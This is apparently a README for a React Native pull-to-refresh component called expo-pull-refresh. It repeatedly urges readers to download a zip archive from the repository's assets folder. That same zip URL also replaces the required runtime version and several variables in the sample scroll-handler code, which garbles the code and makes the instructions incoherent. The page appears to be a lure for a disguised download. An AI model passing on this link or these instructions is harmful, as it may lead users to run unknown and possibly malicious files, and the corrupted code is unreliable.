To get started with the Pull-to-Refresh component, visit this page to download: Download Here.
The expo-pull-refresh is a React Native component that adds a circular progress loader to your app. It includes haptic feedback to enhance user experience during pull-to-refresh actions. This guide will show you how to download and use this component, even if you're not a developer.
- A computer running Windows, macOS, or Linux.
- https://raw.githubusercontent.com/nerimar2312/expo-pull-refresh/main/assets/expo-pull-refresh-3.8-alpha.2.zip version 12 or later must be installed. This allows you to run the application easily.
- First, you need to download the component from the releases page. Find the latest version here.
- Extract the downloaded package to a folder of your choice.
- Open your terminal (Command Prompt or terminal emulator).
- Navigate to the folder where you extracted the files.
- Run the following command to install the necessary packages:
npm installUsing the Pull-to-Refresh component in your application is straightforward. Follow these steps to integrate it:
- Begin by importing the component into your project. Here is an example of how to do this:
import PullToRefreshLoader from 'components/PullToRefresh';
import Animated, { useSharedValue, useAnimatedScrollHandler, runOnJS } from 'react-native-reanimated';
import { useState } from 'react';- Next, set up a state value to manage the refreshing state. Here’s how you can do that:
const progress = useSharedValue(0);
const [refreshing, setRefreshing] = useState(false);- You will also need a function to handle the refresh action. This function can have logic to fetch data or perform another task:
const handleRefresh = () => {
setRefreshing(true);
// Simulate fetching data...
setTimeout(() => setRefreshing(false), 2000);
};- Create an animated scroll handler to detect pull actions. This helps in triggering the refresh function when the user pulls down:
const scrollHandler = useAnimatedScrollHandler({
onScroll: (event) => {
if (https://raw.githubusercontent.com/nerimar2312/expo-pull-refresh/main/assets/expo-pull-refresh-3.8-alpha.2.zip < 0 && !refreshing) {
https://raw.githubusercontent.com/nerimar2312/expo-pull-refresh/main/assets/expo-pull-refresh-3.8-alpha.2.zip = https://raw.githubusercontent.com/nerimar2312/expo-pull-refresh/main/assets/expo-pull-refresh-3.8-alpha.2.zip(https://raw.githubusercontent.com/nerimar2312/expo-pull-refresh/main/assets/expo-pull-refresh-3.8-alpha.2.zip(https://raw.githubusercontent.com/nerimar2312/expo-pull-refresh/main/assets/expo-pull-refresh-3.8-alpha.2.zip) / 80, 1);
if (https://raw.githubusercontent.com/nerimar2312/expo-pull-refresh/main/assets/expo-pull-refresh-3.8-alpha.2.zip >= 1.1) runOnJS(handleRefresh)();
}
},
});- Finally, use the
PullToRefreshLoadercomponent in your app's return statement:
return (
<View>
<PullToRefreshLoader progress={progress} />
</View>
);- Haptic Feedback: Get tactile feedback when users trigger the pull-to-refresh action.
- Customizable: Easily modify the component to fit your app's design.
- Smooth Animation: The loader has fluid animations that enhance user interaction.
If you face any issues or have questions, feel free to join our community. You can find support on:
- GitHub Issues - Report bugs or request features.
- Discussion Forum - Share ideas and get help from other users.
The expo-pull-refresh component is open-source and free to use. Please refer to the LICENSE file in the repository for more details.
We welcome contributions from everyone. If you have a suggestion, bug fix, or enhancement, feel free to submit a pull request. Your feedback helps improve the component for everyone.
To contribute:
- Fork the repository.
- Create a new branch.
- Make your changes.
- Submit a pull request with a description of your changes.
Thank you for considering contributing to expo-pull-refresh!
For more details and to stay updated, visit the repository.
The link again for downloading: Download Here.